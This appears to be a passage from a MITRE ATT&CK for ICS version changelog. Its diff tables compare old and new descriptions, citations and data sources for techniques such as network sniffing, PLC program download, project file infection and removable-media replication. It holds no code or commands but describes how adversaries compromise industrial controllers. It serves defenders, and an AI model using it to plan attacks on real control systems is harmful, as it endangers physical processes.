| > | up to sniffing network traffic may be the best method of det | ||||
| > | ection. From the host level, an adversary would likely need | ||||
| > | to perform a man-in-the-middle attack against other devices | ||||
| > | on a wired network in order to capture traffic that was not | ||||
| > | to or from the current compromised system. This change in th | ||||
| > | e flow of information is detectable at the enclave network l | ||||
| > | evel. Monitor for ARP spoofing and gratuitous ARP broadcasts | ||||
| > | . Detecting compromised network devices is a bit more challe | ||||
| > | nging. Auditing administrator logins, configuration changes, | ||||
| > | and device images is required to detect malicious changes. | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.958000+00:00 |
| description | Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: EAttack Network Sniffing) regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. | Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: Enterprise ATT&CK January 2018) regardless of whether it is the specified destination for the information. An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T842 | https://attack.mitre.org/techniques/T0842 |
| external_references[1]['source_name'] | EAttack Network Sniffing | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Network Sniffing. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 Network Sniffing Retrieved. 2018/05/17 |
| x_mitre_data_sources[0] | Network device logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Host network interfaces | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may collect point and tag values to gain a more | t | 1 | Adversaries may collect point and tag values to gain a more |
| > | comprehensive understanding of the process environment. Poin | > | comprehensive understanding of the process environment. Poin | ||
| > | ts may be values such as inputs, memory locations, outputs o | > | ts may be values such as inputs, memory locations, outputs o | ||
| > | r other process specific variables. (Citation: References - | > | r other process specific variables. (Citation: Dennis L. Slo | ||
| > | tags process comprehension) Tags are the identifiers given t | > | atman September 2016) Tags are the identifiers given to poin | ||
| > | o points for operator convenience. Collecting such tags pr | > | ts for operator convenience. Collecting such tags provides | ||
| > | ovides valuable context to environmental points and enables | > | valuable context to environmental points and enables an adv | ||
| > | an adversary to map inputs, outputs, and other values to the | > | ersary to map inputs, outputs, and other values to their con | ||
| > | ir control processes. Understanding the points being collect | > | trol processes. Understanding the points being collected may | ||
| > | ed may inform an adversary on which processes and values to | > | inform an adversary on which processes and values to keep t | ||
| > | keep track of over the course of an operation. | > | rack of over the course of an operation. | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.960000+00:00 |
| description | Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: References - tags process comprehension) Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation. | Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: Dennis L. Sloatman September 2016) Tags are the identifiers given to points for operator convenience. Collecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T861 | https://attack.mitre.org/techniques/T0861 |
| external_references[1]['source_name'] | References - tags process comprehension | Dennis L. Sloatman September 2016 |
| external_references[1]['description'] | Benjamin Green. (n.d.). On the Significance of Process Comprehension for Conducting Targeted ICS Attacks. Retrieved November 1, 2019. | Dennis L. Sloatman 2016, September 16 Understanding PLC Programming Methods and the Tag Database System Retrieved. 2017/12/19 |
| external_references[1]['url'] | http://www.research.lancs.ac.uk/portal/files/196578358/sample%20sigconf.pdf | https://www.radioworld.com/industry/understanding-plc-programming-methods-and-the-tag-database-system |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Benjamin Green', 'description': 'Benjamin Green Dennis L. Sloatman 2016, September 16 Understanding PLC Programming Methods and the Tag Database System Retrieved. 2017/12/19 On the Significance of Process Comprehension for Conducting Targeted ICS Attacks Retrieved. 2019/11/01 ', 'url': 'http://www.research.lancs.ac.uk/portal/files/196578358/sample_sigconf.pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform a program download to load malicious | t | 1 | Adversaries may perform a program download to transfer a use |
| > | or unintended program logic on a device as a method of pers | > | r program to a controller. Variations of program download, | ||
| > | istence or to disrupt response functions or process control. | > | such as online edit and program append, allow a controller | ||
| > | Program download onto devices, such as PLCs, allows adversa | > | to continue running during the transfer and reconfiguration | ||
| > | ries to implement custom logic. Malicious PLC programs may b | > | process without interruption to process control. However, be | ||
| > | e used to disrupt physical processes or enable adversary per | > | fore starting a full program download (i.e., download all) a | ||
| > | sistence. The act of a program download will cause the PLC t | > | controller may need to go into a stop state. This can have | ||
| > | o enter a STOP operation state, which may prevent response f | > | negative consequences on the physical process, especially if | ||
| > | unctions from operating correctly. | > | the controller is not able to fulfill a time-sensitive acti | ||
| > | on. Adversaries may choose to avoid a download all in favor | ||||
| > | of an online edit or program append to avoid disrupting the | ||||
| > | physical process. An adversary may need to use the technique | ||||
| > | Detect Operating Mode or Change Operating Mode to make sure | ||||
| > | the controller is in the proper mode to accept a program do | ||||
| > | wnload. The granularity of control to transfer a user pro | ||||
| > | gram in whole or parts is dictated by the management protoco | ||||
| > | l (e.g., S7CommPlus, TriStation) and underlying controller A | ||||
| > | PI. Thus, program download is a high-level term for the suit | ||||
| > | e of vendor-specific API calls used to configure a controlle | ||||
| > | rs user program memory space. [Modify Controller Tasking] | ||||
| > | (https://attack.mitre.org/techniques/T0821) and [Modify Prog | ||||
| > | ram](https://attack.mitre.org/techniques/T0889) represent th | ||||
| > | e configuration changes that are transferred to a controller | ||||
| > | via a program download. | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Joe Slowik - Dragos'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.960000+00:00 |
| description | Adversaries may perform a program download to load malicious or unintended program logic on a device as a method of persistence or to disrupt response functions or process control. Program download onto devices, such as PLCs, allows adversaries to implement custom logic. Malicious PLC programs may be used to disrupt physical processes or enable adversary persistence. The act of a program download will cause the PLC to enter a STOP operation state, which may prevent response functions from operating correctly. | Adversaries may perform a program download to transfer a user program to a controller. Variations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download. The granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API. Thus, program download is a high-level term for the suite of vendor-specific API calls used to configure a controllers user program memory space. [Modify Controller Tasking](https://attack.mitre.org/techniques/T0821) and [Modify Program](https://attack.mitre.org/techniques/T0889) represent the configuration changes that are transferred to a controller via a program download. |
| kill_chain_phases[0]['phase_name'] | persistence-ics | lateral-movement-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T843 | https://attack.mitre.org/techniques/T0843 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Controller program | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'} | |
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'} | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.960000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T845 | https://attack.mitre.org/techniques/T0845 |
| x_mitre_data_sources[0] | Sequential event recorder | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Controller program | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to infect project files with malicio | t | 1 | Adversaries may attempt to infect project files with malicio |
| > | us code. These project files may consist of objects, program | > | us code. These project files may consist of objects, program | ||
| > | organization units, variables such as tags, documentation, | > | organization units, variables such as tags, documentation, | ||
| > | and other configurations needed for PLC programs to function | > | and other configurations needed for PLC programs to function | ||
| > | . (Citation: References - beckhoff project files) Using buil | > | . (Citation: Beckhoff) Using built in functions of the engin | ||
| > | t in functions of the engineering software, adversaries may | > | eering software, adversaries may be able to download an infe | ||
| > | be able to download an infected program to a PLC in the oper | > | cted program to a PLC in the operating environment enabling | ||
| > | ating environment enabling further execution and persistence | > | further [[execution]] and [[persistence]] techniques. (Citat | ||
| > | techniques. (Citation: References - plcdev siemens) Advers | > | ion: PLCdev) Adversaries may export their own code into pro | ||
| > | aries may export their own code into project files with cond | > | ject files with conditions to execute at specific intervals. | ||
| > | itions to execute at specific intervals. (Citation: Stuxnet | > | (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien Febr | ||
| > | - Symantec - 201102) Malicious programs allow adversaries co | > | uary 2011) Malicious programs allow adversaries control of a | ||
| > | ntrol of all aspects of the process enabled by the PLC. Once | > | ll aspects of the process enabled by the PLC. Once the proje | ||
| > | the project file is downloaded to a PLC the workstation dev | > | ct file is downloaded to a PLC the workstation device may be | ||
| > | ice may be disconnected with the infected project file still | > | disconnected with the infected project file still executing | ||
| > | executing. (Citation: References - plcdev siemens) | > | . (Citation: PLCdev) | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.963000+00:00 |
| description | Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: References - beckhoff project files) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. (Citation: References - plcdev siemens) Adversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Stuxnet - Symantec - 201102) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: References - plcdev siemens) | Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: Beckhoff) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further [[execution]] and [[persistence]] techniques. (Citation: PLCdev) Adversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: PLCdev) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T873 | https://attack.mitre.org/techniques/T0873 |
| external_references[1]['source_name'] | Stuxnet - Symantec - 201102 | Beckhoff |
| external_references[1]['description'] | Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017. | Beckhoff TwinCAT 3 Source Control: Project Files Retrieved. 2019/11/21 |
| external_references[1]['url'] | https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf | https://infosys.beckhoff.com/english.php?content=../content/1033/tc3_sourcecontrol/18014398915785483.html&id= |
| external_references[2]['source_name'] | References - beckhoff project files | PLCdev |
| external_references[2]['description'] | Beckhoff. (n.d.). TwinCAT 3 Source Control: Project Files. Retrieved November 21, 2019. | PLCdev Beckhoff TwinCAT 3 Source Control: Project Files Retrieved. 2019/11/21 Siemens SIMATIC Step 7 Programmer's Handbook Retrieved. 2019/11/21 |
| external_references[2]['url'] | https://infosys.beckhoff.com/english.php?content=../content/1033/tc3%20sourcecontrol/18014398915785483.html&id= | http://www.plcdev.com/book/export/html/373 |
| external_references[3]['source_name'] | References - plcdev siemens | Nicolas Falliere, Liam O Murchu, Eric Chien February 2011 |
| external_references[3]['description'] | PLCdev. (n.d.). Siemens SIMATIC Step 7 Programmer's Handbook. Retrieved November 21, 2019. | Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 |
| external_references[3]['url'] | http://www.plcdev.com/book/export/html/373 | https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'PLCdev', 'description': "PLCdev Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 Siemens SIMATIC Step 7 Programmer's Handbook Retrieved. 2019/11/21 ", 'url': 'http://www.plcdev.com/book/export/html/373'} |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'execution-ics'} | |
| x_mitre_data_sources | Digital signatures | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Remote System Discovery is the process of identifying the pr | t | 1 | Adversaries may attempt to get a listing of other systems by |
| > | esence of hosts on a network (Citation: EAttack Remote Syste | > | IP address, hostname, or other logical identifier on a netw | ||
| > | m Discovery), and details about them. This process is commo | > | ork that may be used for subsequent Lateral Movement or Disc | ||
| > | n to network administrators validating the presence of machi | > | overy techniques. Functionality could exist within adversary | ||
| > | nes and services, as well as adversaries mapping out a netwo | > | tools to enable this, but utilities available on the operat | ||
| > | rk for future-attack targets. An adversary may attempt to g | > | ing system or vendor software could also be used. (Citation: | ||
| > | ain information about the target network via network enumera | > | Enterprise ATT&CK January 2018) | ||
| > | tion techniques such as port scanning. One of the most popu | ||||
| > | lar tools for enumeration is [https://nmap.org/ Nmap]. Remo | ||||
| > | te System Discovery allows adversaries to map out hosts on t | ||||
| > | he network as well as the TCP/IP ports that are open, closed | ||||
| > | , or filtered. Remote System Discovery tools also aid in by | ||||
| > | attempting to connect to the service and determine its exac | ||||
| > | t version. The adversary may use this information to pick a | ||||
| > | n exploit for a particular version if a known vulnerability | ||||
| > | exists. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.968000+00:00 |
| description | Remote System Discovery is the process of identifying the presence of hosts on a network (Citation: EAttack Remote System Discovery), and details about them. This process is common to network administrators validating the presence of machines and services, as well as adversaries mapping out a network for future-attack targets. An adversary may attempt to gain information about the target network via network enumeration techniques such as port scanning. One of the most popular tools for enumeration is [https://nmap.org/ Nmap]. Remote System Discovery allows adversaries to map out hosts on the network as well as the TCP/IP ports that are open, closed, or filtered. Remote System Discovery tools also aid in by attempting to connect to the service and determine its exact version. The adversary may use this information to pick an exploit for a particular version if a known vulnerability exists. | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used. (Citation: Enterprise ATT&CK January 2018) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T846 | https://attack.mitre.org/techniques/T0846 |
| external_references[1]['source_name'] | EAttack Remote System Discovery | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Remote System Discovery. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 Remote System Discovery Retrieved. 2018/05/17 |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process use of network | File: File Access |
| x_mitre_data_sources[2] | Process command-line parameters | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Network protocol analysis | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may move onto systems, such as those separated f | t | 1 | Adversaries may move onto systems, such as those separated f |
| > | rom the enterprise network, by copying malware to removable | > | rom the enterprise network, by copying malware to removable | ||
| > | media which is inserted into the control systems environment | > | media which is inserted into the control systems environment | ||
| > | . The adversary may rely on unknowing trusted third parties, | > | . The adversary may rely on unknowing trusted third parties, | ||
| > | such as suppliers or contractors with access privileges, to | > | such as suppliers or contractors with access privileges, to | ||
| > | introduce the removable media. This technique enables initi | > | introduce the removable media. This technique enables initi | ||
| > | al access to target devices that never connect to untrusted | > | al access to target devices that never connect to untrusted | ||
| > | networks, but are physically accessible. Operators of the | > | networks, but are physically accessible. Operators of th | ||
| > | German nuclear power plant, Gundremmingen, discovered malwar | > | e German nuclear power plant, Gundremmingen, discovered malw | ||
| > | e on a facility computer not connected to the internet. (Ci | > | are on a facility computer not connected to the internet. (C | ||
| > | tation: KGG-Company-Site) (Citation: KGG-Trend Micro) The m | > | itation: Kernkraftwerk Gundremmingen April 2016) (Citation: | ||
| > | alware included Conficker and W32.Ramnit, which were also fo | > | Trend Micro April 2016) The malware included Conficker and W | ||
| > | und on eighteen removable disk drives in the facility. (Cit | > | 32.Ramnit, which were also found on eighteen removable disk | ||
| > | ation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: K | > | drives in the facility. (Citation: Christoph Steitz, Eric Au | ||
| > | GG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) | > | chard April 2016) (Citation: Catalin Cimpanu April 2016) (Ci | ||
| > | (Citation: KGG-Dark) The plant has since checked for infec | > | tation: Peter Dockrill April 2016) (Citation: Lee Mathews Ap | ||
| > | tion and cleaned up more than 1,000 computers. (Citation: K | > | ril 2016) (Citation: Sean Gallagher April 2016) (Citation: D | ||
| > | GG-BBC) An ESET researcher commented that internet disconnec | > | ark Reading Staff April 2016) The plant has since checked fo | ||
| > | tion does not guarantee system safety from infection or payl | > | r infection and cleaned up more than 1,000 computers. (Citat | ||
| > | oad execution. (Citation: KGG-ESET) | > | ion: BBC April 2016) An ESET researcher commented that inter | ||
| > | net disconnection does not guarantee system safety from infe | ||||
| > | ction or payload execution. (Citation: ESET April 2016) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.973000+00:00 |
| description | Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: KGG-Company-Site) (Citation: KGG-Trend Micro) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: KGG-Reuters) (Citation: KGG-Softpedia) (Citation: KGG-Science-Alert) (Citation: KGG-Geek) (Citation: KGG-Ars) (Citation: KGG-Dark) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: KGG-BBC) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: KGG-ESET) | Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible. Operators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. (Citation: Kernkraftwerk Gundremmingen April 2016) (Citation: Trend Micro April 2016) The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. (Citation: Christoph Steitz, Eric Auchard April 2016) (Citation: Catalin Cimpanu April 2016) (Citation: Peter Dockrill April 2016) (Citation: Lee Mathews April 2016) (Citation: Sean Gallagher April 2016) (Citation: Dark Reading Staff April 2016) The plant has since checked for infection and cleaned up more than 1,000 computers. (Citation: BBC April 2016) An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution. (Citation: ESET April 2016) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T847 | https://attack.mitre.org/techniques/T0847 |
| external_references[1]['source_name'] | KGG-Company-Site | Kernkraftwerk Gundremmingen April 2016 |
| external_references[1]['description'] | Kernkraftwerk Gundremmingen. (2016, April 25). Detektion von Büro-Schadsoftware an mehreren Rechnern. Retrieved October 14, 2019. | Kernkraftwerk Gundremmingen 2016, April 25 Detektion von Bro-Schadsoftware an mehreren Rechnern Retrieved. 2019/10/14 |
| external_references[2]['source_name'] | KGG-Softpedia | Trend Micro April 2016 |
| external_references[2]['description'] | Catalin Cimpanu. (2016, April 26). Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary. Retrieved October 14, 2019. | Trend Micro 2016, April 27 Malware Discovered in German Nuclear Power Plant Retrieved. 2019/10/14 |
| external_references[2]['url'] | https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml | https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant |
| external_references[3]['source_name'] | KGG-Reuters | Christoph Steitz, Eric Auchard April 2016 |
| external_references[3]['description'] | Christoph Steitz, Eric Auchard. (2016, April 26). German nuclear plant infected with computer viruses, operator says. Retrieved October 14, 2019. | Christoph Steitz, Eric Auchard 2016, April 26 German nuclear plant infected with computer viruses, operator says Retrieved. 2019/10/14 |
| external_references[4]['source_name'] | KGG-Science-Alert | Catalin Cimpanu April 2016 |
| external_references[4]['description'] | Peter Dockrill. (2016, April 28). Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant. Retrieved October 14, 2019. | Catalin Cimpanu 2016, April 26 Malware Shuts Down German Nuclear Power Plant on Chernobyl's 30th Anniversary Retrieved. 2019/10/14 |
| external_references[4]['url'] | https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant | https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml |
| external_references[5]['source_name'] | KGG-ESET | Peter Dockrill April 2016 |
| external_references[5]['description'] | ESET. (2016, April 28). Malware found at a German nuclear power plant. Retrieved October 14, 2019. | Peter Dockrill 2016, April 28 Multiple Computer Viruses Have Been Discovered in This German Nuclear Plant Retrieved. 2019/10/14 |
| external_references[5]['url'] | https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/ | https://www.sciencealert.com/multiple-computer-viruses-have-been-discovered-in-this-german-nuclear-plant |
| external_references[6]['source_name'] | KGG-Geek | Lee Mathews April 2016 |
| external_references[6]['description'] | Lee Mathews. (2016, April 27). German nuclear plant found riddled with Conficker, other viruses. Retrieved October 14, 2019. | Lee Mathews 2016, April 27 German nuclear plant found riddled with Conficker, other viruses Retrieved. 2019/10/14 |
| external_references[7]['source_name'] | KGG-Trend Micro | Sean Gallagher April 2016 |
| external_references[7]['description'] | Trend Micro. (2016, April 27). Malware Discovered in German Nuclear Power Plant. Retrieved October 14, 2019. | Sean Gallagher 2016, April 27 German nuclear plants fuel rod system swarming with old malware Retrieved. 2019/10/14 |
| external_references[7]['url'] | https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/malware-discovered-in-german-nuclear-power-plant | https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/ |
| external_references[8]['source_name'] | KGG-BBC | Dark Reading Staff April 2016 |
| external_references[8]['description'] | BBC. (2016, April 28). German nuclear plant hit by computer viruses. Retrieved October 14, 2019. | Dark Reading Staff 2016, April 28 German Nuclear Power Plant Infected With Malware Retrieved. 2019/10/14 |
| external_references[8]['url'] | https://www.bbc.com/news/technology-36158606 | https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298 |
| external_references[9]['source_name'] | KGG-Ars | BBC April 2016 |
| external_references[9]['description'] | Sean Gallagher. (2016, April 27). German nuclear plant’s fuel rod system swarming with old malware. Retrieved October 14, 2019. | BBC 2016, April 28 German nuclear plant hit by computer viruses Retrieved. 2019/10/14 |
| external_references[9]['url'] | https://arstechnica.com/information-technology/2016/04/german-nuclear-plants-fuel-rod-system-swarming-with-old-malware/ | https://www.bbc.com/news/technology-36158606 |
| external_references[10]['source_name'] | KGG-Dark | ESET April 2016 |
| external_references[10]['description'] | Dark Reading Staff. (2016, April 28). German Nuclear Power Plant Infected With Malware. Retrieved October 14, 2019. | ESET 2016, April 28 Malware found at a German nuclear power plant Retrieved. 2019/10/14 |
| external_references[10]['url'] | https://www.darkreading.com/endpoint/german-nuclear-power-plant-infected-with-malware/d/d-id/1325298 | https://www.welivesecurity.com/2016/04/28/malware-found-german-nuclear-power-plant/ |
| x_mitre_data_sources[0] | File monitoring | Drive: Drive Creation |
| x_mitre_data_sources[1] | Data loss prevention | File: File Access |
| STIX Field | Old value | New Value |
